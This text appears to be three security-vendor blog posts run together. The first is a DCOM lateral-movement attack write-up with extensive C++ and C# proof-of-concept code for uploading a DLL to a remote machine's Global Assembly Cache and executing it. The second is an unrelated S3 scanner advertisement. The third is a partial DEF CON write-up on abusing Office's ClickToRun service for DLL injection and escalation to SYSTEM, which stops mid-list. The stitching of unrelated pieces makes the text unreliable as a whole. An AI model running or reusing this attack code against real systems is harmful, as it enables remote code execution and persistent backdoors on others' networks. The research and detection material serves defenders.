    virtual HRESULT PrepareDLLCustomAction(ushort const *,ushort const *,ushort const *,ulong,uchar,uchar,_GUID const *,_GUID const *,ulong *)=0;

    virtual HRESULT RunDLLCustomAction(ulong,ulong *) = 0;

    virtual HRESULT FinishDLLCustomAction(ulong) = 0;

    virtual HRESULT RunScriptAction(int,IDispatch *,ushort const *,ushort const *,ushort,int *,int *,char * *) = 0;

    [snip]

    virtual HRESULT URTAddAssemblyInstallComponent(ushort const*,ushort const*, ushort const*) = 0;

    virtual HRESULT URTIsAssemblyInstalled(ushort const*, ushort const*, int*, int*, char**) = 0;

    virtual HRESULT URTProvideGlobalAssembly(ushort const*, ulong, ulong*) = 0;

    virtual HRESULT URTCommitAssemblies(ushort const*, int*, char**) = 0;

    virtual HRESULT URTUninstallAssembly(ushort const*, ushort const*, int*, char**) = 0;

    virtual HRESULT URTGetAssemblyCacheItem(ushort const*, ushort const*, ulong, int*, char**) = 0;

    virtual HRESULT URTCreateAssemblyFileStream(ushort const*, int) = 0;

    virtual HRESULT URTWriteAssemblyBits(char *,ulong,ulong *) = 0;

    virtual HRESULT URTCommitAssemblyStream() = 0;

    [snip]

    virtual HRESULT LoadEmbeddedDLL(ushort const*, uchar) = 0;

    virtual HRESULT CallInitDLL(ulong,ushort const *,ulong *,ulong *) = 0;

    virtual HRESULT CallMessageDLL(UINT, ulong, ulong*) = 0;

    virtual HRESULT CallShutdownDLL(ulong*) = 0;

    virtual HRESULT UnloadEmbeddedDLL() = 0;

    [snip]

};

With names like RunScriptAction and RunDLLCustomAction it seems like IMsiCustomAction might be our treasure trove. But, before we open it, we have to first create it with a DCOM call to IMsiServer::CreateCustomActionServer. Let's build our attack client: 

// Code stripped from remote connection and ole setupCOSERVERINFO coserverinfo = {};

coserverinfo.pwszName = REMOTE_ADDRESS;

coserverinfo.pAuthInfo = pAuthInfo_FOR_REMOTE_ADDRESS;

CLSID CLSID_MsiServer = { 0x000c101c,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };

IID IID_IMsiServer = CLSID_MsiServer;

MULTI_QI qi ={};

qi.pIID = &IID_IMsiServer; // the interface we aim to get

HRESULT hr = CoCreateInstanceEx(CLSID_MsiServer, NULL, CLSCTX_REMOTE_SERVER, &coserverinfo, 1, &qi) ;

IMsiServer* pIMsiServerObj = qi.pItf;

At this point pIMsiServerObj points to our client IMsiServer interface. Now we need to create the correct arguments for IMsiServer::CreateCustomActionServer 

Notable arguments: 

1. dwProcessId is expected to contain the client PID and is treated as a local PID on the server side. If we provide our true client PID, the server side will fail to find it on the remote target and the call will fail. We can trick this check and set dwProcessId=4, pointing to the always-existing System process 

2. PiRemoteAPI, which should point to an IMsiRemoteAPI instance, is the trickiest to initialize. Searching through symbols from msi.dll gives us the IID of that interface 

IID IID_IMsiRemoteApi = { 0x000c1033,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };

However, because CLSID_MSISERVER does not implement IID_IMsiRemoteApi, we can't directly create it with a call to: 

HRESULT hr = CoCreateInstance(CLSID_MSISERVER, NULL, CLSCTX_INPROC_SERVER, IID_IMsiRemoteApi ,&piRemoteAPI) ;

Discovering An Implementing CLSID

Heads up: this section covers a technical reverse-engineering process. We will demonstrate how to correctly invoke IMsiServer::CreateCustomActionServer. If you're not interested in the detailed drill-down, feel free to skip to “The Secured Actions.”  

To create an instance of IMsiRemoteApi we need to find the CLSID of the class that implements it. We’ll start by searching for a symbol named CLSID_MsiRemoteApi in msi.dll. However, this time no results are returned: 

We are left trying to trace where IID_IMsiRemoteApi is created within msi.dll, using cross-references: 

• Cross-referencing IID_IMsiRemoteApi, we find CMsiRemoteAPI::QueryInterface, which is part of the IMsiRemoteApi interface 

• Searching CMsiRemoteAPI::QueryInterface leads to IMsiRemoteApi’s vtable in the .rdata section, which is marked with a symbol named ??_7CMsiRemoteAPI@@6B@: 

• Searching ??_7CMsiRemoteAPI@@6B@ leads to CMsiRemoteAPI::CMsiRemoteAPI, which is the constructor for IMsiRemoteApi instances 

• Searching the constructor leads to CreateMsiRemoteAPI, a factory method that invokes it 

• Searching the factory method shows it’s the 9th element in an array of factory methods named rgFactory, which are located in the .rdata section: 

• Searching usages of rgFactory shows it's used in CModuleFactory::CreateInstance:  

We can see that CModuleFactory::CreateInstance pulls a method from rgFactory at an index and invokes it to create an object and return it with outObject. 

This will happen if, at the same index, a GUID pulled from rgCLSID (green line in the snippet) is equal to the input argument _GUID *inCLSID. 

rgCLSID is a global variable that points to a CLSID array in the .rdata section

The 9th element in this array, which will cause invocation of CreateMsiRemoteAPI (the 9th member of rgFactory), is the CLSID: 

CLSID CLSID_MsiRemoteApi = { 0x000c1035,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };

This means that if CModuleFactory::CreateInstance is invoked with a CLSID_MsiRemoteApi, it will create our desired instance of IMsiRemoteAPI* piRemoteAPI. 

We are now left with a task to invoke CModuleFactory::CreateInstance from our client code. 

IClassFactory

While CModuleFactory::CreateInstance is not a public export, cross-referencing it leads to CModuleFactory's vtable: 

The first method in the vtable is a QueryInterface implementation, which means CModuleFactory is an interface implementation. The next two Nullsubs are empty implementations of IUnkown::AddRef & IUnkown::Release, and the next two methods are: 

• CreateInstance (which we reversed) 

• LockServer 

Searching those methods in MSDN reveals IClassFactory, an interface that defines a factory design pattern for COM object creation in implementing DLLs. The functionality of this interface is accessed through a method called DllGetClassObject, which is exported by the implementing DLLs, including msi.dll.

This is how we invoke msi.dll!DllGetClassObject to create our target IMsiRemoteAPI* piRemoteAPI: 

// code stripped from error handling

typedef HRESULT(*DllGetClassObjectFunc)(

    REFCLSID rclsid,

    REFIID   riid,

    LPVOID* ppv

);

// we dont need the definition of IMsiRemoteApi if we just want to instantiate it  

typedef IUnknown IMsiRemoteApi; 

HMODULE hmsi = LoadLibraryA("msi.dll");

IClassFactory* pfact;

IUnknown* punkRemoteApi;

IMsiRemoteApi* piRemoteAPI;

DllGetClassObjectFunc DllGetClassObject = (DllGetClassObjectFunc)GetProcAddress(hdll, "DllGetClassObject");

// creating the CLSID_MsiRemoteApi class

HRESULT hr = DllGetClassObject(CLSID_MsiRemoteApi, IID_IClassFactory, (PVOID*)&pfact);

// piRemoteAPI initilized to IMsiRemoteApi*

hr = pfact->CreateInstance(NULL, CLSID_MsiRemoteApi, (PVOID*)&punkMsiRemoteApi);

hr = punkMsiRemoteApi->QueryInterface(IID_IMsiRemoteApi, reinterpret_cast<void**>(piRemoteAPI));

We can now invoke IMsiServer::CreateCustomActionServer to create the target IMsiCustomAction** piCustomAction instance: 

IMsiRemoteAPI* pRemApi = // created above;

const int cookieSize = 16; // a constant size CreateCustomActionServer anticipates

icacCustomActionContext icacContext = icac64Impersonated; // an enum value

const unsigned long fakeRemoteClientPid = 4;

unsigned long outServerPid = 0;

IMsiCustomAction* pMsiAction = nullptr; // CreateCustomActionServer's output

int iRemoteAPICookieSize = cookieSize;

char rgchCookie[cookieSize];

WCHAR* pvEnvironment = GetEnvironmentStringsW();

DWORD cEnv = GetEnvironmentSizeW(pvEnvironment);

HRESULT msiresult =  pIMsiServerObj->CreateCustomActionServer(icacContext, fakeRemoteClientPid, pRemApi, pvEnvironment, cEnv, 0, rgchCookie, &iRemoteAPICookieSize, &pMsiAction,&outServerPid,0, 0);

The Secured Actions

Our newly created IMsiCustomAction* pMsiAction allows us to run “custom actions” from a remote MSIEXEC.EXE process, and now our focus is finding a method from IMsiCustomAction that can execute code – giving us a new lateral movement technique.  

As we have seen before, IMsiCustomAction contains a couple of promising function names like RunScriptAction and RunDLLCustomAction 

Reversing these functions shows that they allow loading and running an export from a DLL of our liking or executing in-memory custom script contents (VBS or JS)! Seems too good to be true? It is. 

Windows prevents this functionality from being invoked in a remote DCOM context, with a simple check at the start of these functions: 

if(RPCRT4::I_RpcBindingInqLocalClientPID(0, &OutLocalClientPid)&&
  
  OutLocalClientPid != RegisteredLocalClientPid)

{

return ERROR_ACCESS_DENIED;

}

It turns out I_RpcBindingInqLocalClientPID fails when a client is remote (during a DCOM session), and we are blocked. 

We need to look for functions where this security check does not exist.

Unsecured Load Primitive 

We will now focus our search on unsecured IMsiCustomAction methods by cross-referencing usages of I_RpcBindingInqLocalClientPID and exploring functions of IMsiCustomAction that don’t use it. 

The next function that meets this criterion is IMsiCustomAction::LoadEmbeddedDll(wchar_t const* dllPath, bool debug);.  

Reversing this function reveals: 

1. LoadEmbeddedDLL invokes Loadlibrary on the dllPath parameter and saves its handle. 

2. Attempts to resolve three exports from dllPath and saves their address. 

   1. InitializeEmbeddedUI 

   2. ShutdownEmbeddedUI 

   3. EmbeddedUIHandler 

3. LoadEmbeddedDLL will not fail on non-existing exports 

Testing confirms that we have a remote load primitive on every DLL on the remote system! 

 // Loads any DLL path into the remote MSIEXEC.exe instance hosting pMsiAction

pMsiAction->LoadEmbeddedDLL(L"C:\Windows\System32\wininet.dll",false);

Is this enough for lateral movement? Not on its own. Simply loading a benign pre-existing DLL from the target system’s HD does not give us control over the code the DLL runs at load time.  

However, if we could remotely write a DLL to the machine and provide its path to LoadEmbeddedDLL we would find a full attack. 

Some attacks delegate responsibility after finding such a primitive and suggest separately writing a payload to the machine with SMB access. However, this type of access is very noisy, and usually blocked. 

Using IMsiCustomAction I aim to find a self-sufficient write primitive to the remote machine’s HD. 

A Remote Write Primitive

A combination of function names in the IMsiCustomAction interface leads me to believe a remote write primitive is possible: 

• IMsiCustomAction::URTCreateAssemblyFileStream 

• IMsiCustomAction::URTWriteAssemblyBits 

Reversing IMsiCustomAction::URTCreateAssemblyFileStream shows a couple of initializing functions must run before it. 

The following sequence will allow us to create a file stream, write to it, and commit it:

1. The below function will initialize data required for invoking the next function

HRESULT IMsiCustomAction::URTAddAssemblyInstallComponent(

	wchar_t const* UserDefinedGuid1,

	wchar_t const* UserDefinedGuid2,

	wchar_t const* UserDefinedName);

2. The following function creates an internal instance of IAssemblyCacheItem*, a documented object that manages a file stream 

HRESULT IMsiCustomAction::URTGetAssemblyCacheItem(

	wchar_t const* UserDefinedGuid1,

	wchar_t const* UserDefinedGuid2,

	ulong zeroed,

	int* pInt,

	char** pStr);

3.  Then URTCreateAssemblyFileStream invokes IAssemblyCacheItem::CreateStream and creates an instance of IStream* with the parameters provided above. The future file’s name will be FileName. It will save the IStream* to an internal variable. 

HRESULT IMsiCustomAction::URTCreateAssemblyFileStream(
	wchar_t const* FileName,

	int Format);

4. The function below invokes IStream::Write to write the number of bytes specified in ulong cb from const char* pv to the file stream and returns the number of bytes written in pcbWritten. 

HRESULT IMsiCustomAction::URTWriteAssemblyBits(

	const char* pv,

	ulong cb, ulong* pcbWritten);

5. Finally, the following function commits the Stream contents to a new file, using IStream::Commit. 

 HRESULT IMsiCustomAction::URTCommitAssemblyStream();

We’ll prepare a dummy payload.dll, and upload it to the target machine with the prior function sequence: 

char* outc = nullptr;

int outi = 0;

LPCWSTR mocGuid1 = L"{13333337-1337-1337-1337-133333333337}";

LPCWSTR mocGuid2 = L"{13333338-1338-1338-1338-133333333338}";

LPCWSTR asmName = L"payload.dll";

LPCWSTR assmblyPath = L"c:\local\path\to\your\payload.dll";

hr = pMsiAction->URTAddAssemblyInstallComponent(mocGuid1, mocGuid2, asmName);

hr = pMsiAction->URTGetAssemblyCacheItem(mocGuid1, mocGuid2, 0,&outi ,&outc);

hr = pMsiAction->URTCreateAssemblyFileStream(assmblyPath, STREAM_FORMAT_COMPLIB_MANIFEST);

HANDLE hAsm = CreateFileW(assmblyPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

DWORD asmSize, sizeRead;

GetFileSize(hAsm, NULL);

char* content = new char[asmSize];

readStatus = ReadEntireFile(hAsm, asmSize, &sizeRead, content);

ulong written = 0;

hr = pMsiAction->URTWriteAssemblyBits(content, asmSize, &written);

hr = pMsiAction->URTCommitAssemblyStream();

The entire sequence succeeds; however, we get no indication of where payload.dll was written. 

Searching the remote machine for a file named payload.dll reveals its path:  

Re-running our code generates payload.dll in a similar path: 

The format of those paths is C:\assembly\tmp\[RANDOM_8_LETTERS]\payload.dll. Since RANDOM_8_LETTERS cannot be predicted we can't just follow up with a call to our load primitive IMsiCustomAction::LoadEmbeddedDll on the said path. 

We need to find a way to put our payload.dll in a predictable path, and IMsiCustomAction hooks us up yet again 

Controlling The Path

The next method we reverse is IMsiCustomAction::URTCommitAssemblies and we find out it uses the documented function IAssemblyCacheItem::Commit on the stream: 

This function installs a .NET assembly to the Global Assembly Cache (GAC), under a predictable path within C:\Windows\Microsoft.NET\assembly\GAC*. This makes using IMsiCustomAction::URTCommitAssemblies our new goal. 

Assemblies stored in the GAC must be identified with a strong name – a signature created with a public-private key pair that ensures the uniqueness of the assembly. 

Considering this, with our goal to successfully use URTCommitAssemblies and plant our payload in a predictable path, we will change payload.dll to a .NET assembly DLL with a strong name: 

// example x64 dummy POC for .NET payload.dll

// a strong name should be set for the dll in the VS compilation settings

namespace payload

{

    public class Class1

    {

        public static void DummyNotDLLMain()

        {

        }

    }

}

We update our code to use IMsiCustomAction::URTCommitAssemblies on the new payload and re-run it: 

HRESULT URTCommitAssemblies(wchar_t const* UserDefinedGuid1, int* pInt, char** pStr);

int outIntCommit = 0;

char* outCharCommit = nullptr;

// mocGuid1 is the same GUID we created for invoking URTAddAssemblyInstallComponent

hr = pMsiAction->URTCommitAssemblies(mocGuid1, &outIntCommit, &outCharCommit);

Payload.dll is now uploaded to: 

Analyzing each token on this path with accordance to payload.dll’s strong name details, we derive the GAC path structure for installed assemblies (valid for .NET version => 4): 

C:\Windows\Microsoft.NET\assembly\GAC_[assembly_bitness]\[assembly_name]\v4.0_[assembly_version]__[public_key_token]\[assembly_name].dll 

Getting those details from a strong-named DLL can be done using sigcheck.exe (Sysinternals) and sn.exe (.NET Framework tools) 

We have managed to install an assembly DLL to a predictable path in the GAC and figure out the path structure. Let's now incorporate our efforts into the attack: 

// resuming from our last code snippets

// our payload is the dummy .NET payload.dll

// URTCommitAssemblies commits payload.dll to the GAC

hr = pMsiAction->URTCommitAssemblies(mocGuid1, &outIntCommit, &outCharCommit);


std::wstring payload_bitness = L"64"; // our payload is x64

std::wstring payload_version = L"1.0.0.0"; // sigcheck.exe -n payload.dll

std::wstring payload_assembly_name = L"payload";

std::wstring public_key_token = L"136e5fbf23bb401e"; // sn.exe -T payload.dll


// forging all elements to the GAC path

std::wstring payload_gac_path = std::format(L"C:\\Windows\\Microsoft.NET\\assembly\\GAC_{0}\\{1}\\v4.0_{2}__{3}\\{1}.dll", payload_bitness, payload_assembly_name, payload_version,public_key_token);

hr = pMsiAction->LoadEmbeddedDLL(payload_gac_path.c_str(), 0);

The updated attack code runs successfully, and to confirm our payload was loaded to the remote MSIEXEC.exe we break into it in Windbg and query:

Success! But we’re not quite done yet, as .NET assemblies do not have “DllMain” functionality on native processes, so no code is running. There are a couple of possible workarounds, but our solution will be adding an export to our payload.dll assembly. As for calling this export, IMsiCustomAction has us covered once more. 

Running .NET Exports

As I’ve mentioned, IMsiCustomAction::LoadEmbeddedDLL attempts to resolve some exports after loading a requested DLL and saves the results. When searching for code using the address of the results, we reveal three IMsiCustomAction methods, each invoking a respective export from the loaded DLL: 

1. IMsiCustomAction::CallInitDLL invokes InitializeEmbeddedUI 

2. IMsiCustomAction::CallShutdownDLL invokes ShutdownEmbeddedUI 

3. IMsiCustomAction::CallMessageDLL invokes EmbeddedUIHandler 

Each method provides different arguments to the respective export, and we will use IMsiCustomAction::CallInitDLL which provides the richest argument set: 

HRESULT CallInitDLL(ulong intVar, PVOID pVar, ulong* pInt, ulong* pInitializeEmbeddedUIReturnCode);

// CallInitDLL calls InitializeEmbeddedUI with the following args:

DWORD InitializeEmbeddedUI(ulong intVar, PVOID pVar, ulong* pInt)

The combination of ulong intVar and PVOID pVar allows us great flexibility running our payload. For example, PVOID pVar can point to a shellcode our payload will execute, and ulong intVar will be its size. 

For this POC, we will create a simple implementation of InitializeEmbeddedUI in our payload.dll that displays a message box with attacker-controlled content. 

We’ll export InitializeEmbeddedUI from our assembly to a native caller (msi.dll) with the “.export" IL descriptor 

We can now present the final POC of payload.dll: 

using System;

using System.Diagnostics;

using System.Runtime.InteropServices;

using RGiesecke.DllExport; // [DllExport] wraps ".export"

namespace payload

{

 public class Class1

 {

   [DllImport("wtsapi32.dll", SetLastError = true)]

   static extern bool WTSSendMessage(IntPtr hServer, [MarshalAs(UnmanagedType.I4)] int SessionId, String pTitle, [MarshalAs(UnmanagedType.U4)] int TitleLength, String pMessage, [MarshalAs(UnmanagedType.U4)] int MessageLength, [MarshalAs(UnmanagedType.U4)] int Style, [MarshalAs(UnmanagedType.U4)] int Timeout, [MarshalAs(UnmanagedType.U4)] out int pResponse, bool bWait);

   [DllExport]

   public static int InitializeEmbeddedUI(int messageSize,[MarshalAs(UnmanagedType.LPStr)] string attackerMessage, IntPtr outPtr)

   {

    string title = "MSIEXEC - GAC backdoor installed";

    IntPtr WTS_CURRENT_SERVER_HANDLE = IntPtr.Zero;

    // The POC will display a message to the first logged on user in the target

    int WTS_CURRENT_SESSION = 1;

    int resp = 1;

    // Using WTSSendMessage to create a messagebox form a service process at the users desktop

    WTSSendMessage(WTS_CURRENT_SERVER_HANDLE, WTS_CURRENT_SESSION, title, title.Length, attackerMessage, messageSize, 0, 0, out resp, false);

    return 1337;

   }

  }

}

And the final lines of our DCOM Upload & Execute attack: 

// runs after our call to pMsiAction->LoadEmbeddedDLL, loading our payload assembly

ulong ret1, ret2;

std::string messageToVictim = "Hello from DCOM Upload & Execute";

hr = pMsiAction->CallInitDLL(messageToVictim.length(), (PVOID)messageToVictim.c_str(), &ret1, &ret2);

 Running the complete attack code will pop a message box on the remote target PC:

For the full source code: https://github.com/deepinstinct/DCOMUploadExec 

Limitations

1. The attacker and victim machines must be in the same domain or forest. 

2. The attacker and victim machines must be consistent with the DCOM Hardening patch, either with the patch applied on both systems or absent on both. 

3. The uploaded & executed assembly payload must have a strong name 

4. The uploaded & executed assembly payload must be either x86 or x64 (Can't be AnyCPU) 
   

Detection

This attack leaves clear IOCs that can be detected and blocked 

1. Event logs that contain remote authentication data: 

   

2. An MSIEXEC service that creates a child (the custom action server) with the command line pattern C:\Windows\System32\MsiExec.exe -Embedding [HEXEDICAMAL_CHARS] 

   

3. The child MSIEXEC writes a DLL to the GAC 
   
   
4. The child MSIEXEC loads a DLL from the GAC 
   

Summary

Until now, DCOM lateral movement attacks have been exclusively researched on IDispatch-based COM objects due to their scriptable nature. This blog post presents a complete method for researching COM and DCOM objects without depending on their documentation or whether they implement IDispatch. 

Using this method, we expose “DCOM Upload & Execute,” a powerful DCOM lateral movement attack that remotely writes custom payloads to the victim’s GAC, executes them from a service context, and communicates with them, effectively functioning as an embedded backdoor. 

The research presented here proves that many unexpected DCOM objects may be exploitable for lateral movement, and proper defenses should be aligned. 

If you are concerned about these stealthy attacks breaching your environment, request a demo to learn how Deep Instinct prevents what other vendors can’t find using the only deep learning framework in the world built from the ground up for cybersecurity. 

References

1. https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ 

2. https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ 

3. https://github.com/tyranid/oleviewdotnet 

4. https://securityboulevard.com/2023/10/lateral-movement-abuse-the-power-of-dcom-excel-application/ 

5. https://www.cybereason.com/blog/dcom-lateral-movement-techniques

6. https://learn.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iclassfactory

7. https://blog.xpnsec.com/rundll32-your-dotnet/

8. https://www.nuget.org/packages/UnmanagedExports

9. https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c

Cloud storage is a vital data management tool and a significant target for cybercriminals, positioned in the middle of a quickly escalating technological battle. As the data storage market evolves and rapidly expands, organizations face increasing challenges from exponential data growth and a deluge of zero-day attacks generated using Dark AI. And the native security capabilities of cloud storage providers aren’t enough to stop these sophisticated threats.

The Issue with Legacy Cybersecurity Tools

Amazon S3, the world’s largest cloud storage provider, dominates the enterprise data storage market. With this massive scale comes critical vulnerabilities for organizations, especially when using legacy cybersecurity tools that can’t keep pace. These tools foster a false sense of confidence and leave blind spots. For example, attacks like malware time-bombs are designed to evade detection by traditional signature-reliant tools. They can sit undetected in storage until triggered, catching most security tools off guard. Simultaneously, a flood of AI-generated attacks is exposing any gap in the perimeter, and legacy tools aren’t advanced enough to stop them. The pressure is mounting. The danger is growing. 

Fortunately, there is a path forward.

Solving a Massive Problem: Our Work with Amazon S3

Introducing Deep Instinct’s Data Security X (DSX) for Cloud – Amazon S3, a purpose-built solution providing Zero-Day Data Security (ZDDS) to defend Amazon S3 cloud storage environments against threats and preemptively neutralize malware.

After a quick and easy deployment, DSX for Cloud – Amazon S3 scans files at rest or in motion before they can execute. An industry-best scan speed of <20ms per file allows for scanning, categorization, quarantine of malicious files, and immediate alerts to security teams. And by reducing security events and minimizing infrastructure costs, DSX for Cloud contributes to a lower total cost of ownership (TCO). Best of all, it’s certified by AWS and works natively with Amazon S3.

Importantly, these scan speeds leverage our deep learning framework, which features >99% efficacy against known and unknown threats and a <0.1% false positive rate. Instead of just comparing files to a checklist of known threats, DSX for Cloud examines every file and determines if it's malicious, even if the code has never been seen before, by any service. With lightning-fast speeds, it can quickly scan your full S3 storage environment – something legacy tools can’t do – and scale with your storage needs. Put another way, DSX for Cloud effectively stops threats that other tools can’t find.

Fighting AI with the Best AI: Available Now

In the fight against zero-day threats and unknown malware, DSX for Cloud – Amazon S3 is the only solution on the market capable of preventing Dark AI-generated malware, regardless of the novelty or volume of attacks. The ability to prevent attacks is a necessity in high data volume environments. Deep Instinct levels the playing field, enabling you to fight AI with better AI.

DSX for Cloud – Amazon S3 is now available in the AWS Marketplace, enabling buyers to integrate the payment process with their existing AWS billing system and streamline their procurement experience.

This blog is a supplement to our talk at DEF CON 32. In that talk we discussed the resurrection of an attack surface that cybersecurity vendors believed had been addressed a long time ago. We focused on two sets of unique attack surface research.  

The first study targeted RPC servers related to Office. Analyzing a single RPC method led to a noteworthy attack that combined several manipulations to achieve both code injection and privilege escalation.  

The second study focused on reverse-engineering the App Compatibility framework and its undocumented structures. We uncovered a novel and stealthy technique to apply malicious shims in a process that does not require registry modification or SDB files and leaves no traces on the disk. 

RPC Interface in Office 

Microsoft Office is one of the most popular pieces of software in the world.  It’s found on almost every Windows machine, no matter where it’s operating. It is a complex tool composed of many components necessary for its operation. Microsoft Office has com objects, scripting engines, and cloud synchronization, as well as backward compatibility for many features, all of which make it the perfect candidate for attack surface research. 

We began our research by looking for RPC servers running on the machine once Office has been installed. We found the process OfficeClickToRun.exe, which hosts the service ClickToRunSvc. OfficeClickToRun.exe exposes several interfaces, which are implemented in the following RPC files:  

• OfficeClickToRun.exe 

• AppVIsvVirtualization.dll 

• AppVIsvSubsystemController.dll 

A string in AppVIsvVirtualization.dll caught our attention: "Could not inject subsystem dll to child process, process id %3%, module %2%, error code %1%." This is a debug string printed by one of the RPC methods the DLL exposes. 

To verify that this method performs DLL injection, we debugged the service and put breakpoints on WinAPI for code injection. While starting an Office program, we saw this RPC method led to WriteProcessMemory! This looked promising, so we decided to dig deeper into this DLL. 

AppVIsvVirtualization.dll 

The description of AppVIsvVirtualization.dll is “Microsoft Application Virtualization Client Virtualization Manager Component.” In reality, it’s an RPC server that exposes two undocumented methods. The second method performs the DLL Injection. We used PowerShell to look for RPC clients and that led us to the file AppvIsvSubsystems64.dll. The public symbols of the client reveal that the functions that perform the RPC calls are named: 

    a. virtman_notification_server_notify_new_process 

    b. virtman_notification_server_notify_new_child_process 

The Injection Process 

To understand the injection process, we started at the beginning and looked at what the client sends to the server. While debugging the software, Word showed us that a child process is created before the RPC method is invoked. The program ai.exe is launched in a suspended state. Afterward, the request is sent to the server with two parameters: The first is the PID of ai.exe. The second is a structure containing the string AppvIsvSubsystems64.dll and its length (i.e., the number of characters it contains). 

Next, we looked at the server and the files related to the app virtualization platform before we started to reverse-engineer it. We discovered that there were files with names like those found in the system32 directory.  

Those files have symbols indicating that the Detours library is being used. ’Detours’ is an open-source library developed by Microsoft for monitoring and instrumenting API calls on Windows. It also offers the ability to inject code into other processes. AppVIsvSubsystemController.dll uses this ability by calling the functions DetourUpdateProcessWithDll and DetourCopyPayloadToProcess. It can be seen when comparing the Office file to the system32 file with BinDiff. 

The source code of Detours reveals how the DLL injection is executed. The optional header is modified to point to a new copy of the import table that includes an additional import descriptor to the injected DLL. When viewing the headers of the injected process with WinDbg, the full path to the injected DLL is shown. 

The suspended process is then resumed. Since the process is not fully initialized yet, the loader of the operating system uses the modified import table, and AppvIsvSubsystems64.dll is injected into the process. When OfficeClickToRun.exe receives a command to inject a DLL into a 32-bit process, it launches mavinject32.exe, which performs the same injection. 

Abusing ClickToRunSvc 

Popular software is often excluded from the behavioral analysis of security products to avoid false positives. Knowing that, forcing OfficeClickToRun.exe to inject a DLL might result in a detection bypass. 

We were able to imitate the call done by virtman_notification_server_notify_new_child_process and inject AppvIsvSubsystems64.dll into a suspended process... but how can we inject another DLL? We know that the function receives a string, so we can change the name of the DLL that will be injected, but writing our DLL file to the Office directory requires administrator privileges and looks very suspicious. 

Changing the string from AppvIsvSubsystems64.dll to C:\Temp\Injected.dll results in an attempt to load C:\Program Files\CommonFiles\microsoftshared\ClickToRun\C:\Temp\Injected.dll.  

It looks like the string is just appended to a directory without any checks, so we can use an old trick – directory traversal! The dot-dot-slash (..\) sequence will cause the file lookup to look at the parent directory. Several consecutive sequences of dot-dot-slash will manipulate the file lookup to look into a completely different directory. The following import descriptor will end up loading the file C:\temp\Injected.dll. 

At this point, we have already found a new technique to perform DLL injection using a benign application. That alone is a respectable achievement, but we want more. 

The injection is performed by a process that runs as NT AUTHORITY\SYSTEM. The client can run with low privileges... so can we abuse this service for privilege escalation? 

Security Mechanisms in ClickToRunSvc 

ClickToRunSvc impersonates the RPC client before injecting to verify that it is alloed to access the remote process. This means that an RPC client running with a medium integrity level cannot inject a DLL into a high integrity level process. The thread handling the RPC request will use the same token as the client, and when it tries to gain a handle to the target process, the call to OpenProcess will fail with the error code ERROR_ACCESS_DENIED. 

In conclusion, escalation from non-admin to admin privileges is not possible. But it does raise a different question: can we escalate from admin to NT AUTHORITY\SYSTEM? 

Launching Suspended Process as SYSTEM 

We used API monitoring to look for processes running as NT AUTHORITY\SYSTEM that call CreateProcess with the CREATE_SUSPENEDED flag, leading us to the task scheduler service. 

This service is a perfect candidate for abuse. Many scheduled tasks are launched as SYSTEM, including some that belong to Office. Forcing ClickToRunSvc to inject a DLL into another Office process is even less likely to raise alarms since it injects a DLL into ai.exe every time Word is launched. The task we chose is “Office Automatic Updates 2.0.” 

The problem is that the task scheduler service resumes the process shortly after it is launched. We need to find a way to hold the execution of the task scheduler service before it resumes the process so that we can modify the IAT. We can do that using an opportunistic lock. 

Opportunistic Locks 

An Opportunistic Lock (OpLock) is a mechanism used in networked file systems to optimize file access and improve performance. When a file is accessed by a client application, the server grants an opportunistic lock to the client. This lock allows the client to perform operations on the file without interference from other clients. While a client holds an opportunistic lock, it caches data locally. If another client attempts to access the same file, the server can break the opportunistic lock held by the first client. This ensures data consistency and prevents conflicts between clients. When the lock is broken, the server typically notifies the first client to flush any cached data and reestablish its lock, if necessary. 

Applications can also request an oplock when accessing a local file to prevent other applications and processes from corrupting the file. The application can request the oplock from the local filesystem and then cache the file locally. In these cases, the local server uses the opportunistic lock like a semaphore, the main purpose of which is to prevent data incoherency and notify the process about file access. 

If we can find a file that is accessed by the task scheduler service after the process is created but before it is resumed and the loader parses the IAT, we can request an oplock for this file and stop the service from resuming the process until the injection is done.  Monitoring file access during the launch of scheduled tasks showed that the file C:\Windows\apppatch\sysmain.sdb was read. This file is a shim database. It stores app compatibility settings. 

App Compatibility 

The App Compatibility framework is a set of tools, libraries, and techniques provided by Microsoft to ensure that older Windows applications can still run smoothly on newer versions of the Windows operating system. This framework includes various compatibility modes, shims, and other mechanisms. 

The goal of the Windows App Compatibility framework is to minimize disruptions for users and businesses when upgrading to newer versions of Windows by maintaining compatibility with older software. It helps address issues related to changes in the operating system that might affect the behavior of existing applications, such as changes in APIs, security features, or system configurations. 

The framework offers single fixes, such as resolution change, or file redirection, and modes (also referred to as layers) that act as a pack of fixes applied together. 

This framework also uses .sdb files, or "Shim Database" files, to store compatibility fixes. The .sdb files are managed by the Compatibility Administrator tool, which is part of the Windows Assessment and Deployment Kit (ADK). Administrators can use this tool to create, modify, and deploy compatibility fixes stored in .sdb files to address compatibility issues across their organization’s applications. 

Our goal is to find a scheduled task that executes a file with app compatibility settings. To do that, we ran every task and checked which ones caused the service to read the sdb file. The only tasks we found were related to the Microsoft Edge update. They execute C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe, which we can see has compatibility settings using Microsoft’s Compatibility Administrator software. Every process containing the string “Update” will receive the “GenericInstaller” fix. 

This can be a good target for injecting a DLL into a 32-bit process, but we still need to find a 64-bit target. 

While researching this subject, we noticed a strange behavior. The sdb file was read the first time an executable ran since the machine booted, even if it didn’t have matching app compatibility settings. After that, in all subsequent runs, the sdb file wasn’t read. We wanted to find a way to guarantee the sdb file would be read any time an executable runs. We could achieve that legitimately by configuring a compatibility for the file: 

1. The tool sdbinst, which installs a custom sdb file on the system by configuring the following registry values: 
   HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom 
   HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB 

2. The compatibility window under the file’s properties 

